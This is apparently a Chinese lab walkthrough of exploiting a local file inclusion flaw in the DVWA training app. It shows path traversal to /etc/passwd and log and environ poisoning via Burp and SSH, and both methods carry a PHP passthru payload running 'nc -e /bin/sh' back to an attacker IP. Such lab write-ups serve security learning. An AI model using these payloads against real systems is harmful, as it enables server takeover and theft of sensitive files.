一、本地文件包含
本地文件包含漏洞指的是包含本地的php文件,而通過PHP文件包含漏洞入侵網站,可以瀏覽同服務器所有文件,並獲得webshell。
看見?page=標志性注入點,提示我們輸入?page=index.php
通過報錯,我們可以知道當前文件包含的目錄路徑是/var/www/dvwa/vulnerabilities/fi/
我們可以通過../../../../../etc/passwd 試一下能不能顯示默認用戶賬戶密碼
發現可以訪問。所以存在本地文件包含漏洞(LFI),你可以通過這種方法訪問一些密碼、敏感信息文件。
==============================================================================
如何利用LFI漏洞獲得反彈shell,完全控制目標主機?
通過注入惡意代碼到可讀的文件中,然后瀏覽它使惡意代碼被執行,比如
/proc/self/environ
/var/log/auth.log
/var/log/apache2/access.log
通常使用日志文件完成,因為本地文件通常會注冊或寫入日志文件。
==============================================================================
舉個栗子:
打開burpsuite,開啟代理。瀏覽器訪問下面url抓取http包
http://192.168.164.129/dvwa/vulnerabilities/fi/?page=../../../../../proc/self/environ
發現會執行代理,那我們把包修改為php代碼后轉發試試。
修改完成,轉發試試結果:
可以發現php代碼被執行了。所以我們就可以將payload換成webshell.php中的php代碼從而獲得webshell。
比如注入一句話木馬
方法一:
本次換個方式,從文件上傳那篇知道passthru("")函數是PHP執行系統命令的,這里使用netcat執行監聽端口命令
構造payload為 <?passthru("nc -e /bin/sh 192.168.164.128 8888");?>
然后在kali上開啟監聽。
Forward改好的包結果如下:
成功控制目標主機。
===============================================================================================
方法二:/var/log/auth.log
訪問日志文件
發現22端口是開啟的,我們可以嘗試用ssh登入看是否會被記錄在日志文件中
以random賬戶登入,隨便輸給密碼。然后刷新瀏覽器頁面找到random,發現已經記錄到了日志文件。
這說明,ssh后面的命令執行了,我們只要把命令替換成反彈shell的payload就ok了。
構造payload為 <?passthru('nc -e /bin/sh 192.168.164.128 8888');?>
開啟監聽,同時ssh登入。
這里命令需要進行base64編碼,編碼結果如下:
最后ssh回車車,刷新瀏覽器頁面,執行注入命令反彈shell連接攻擊主機。
成功控制目標主機。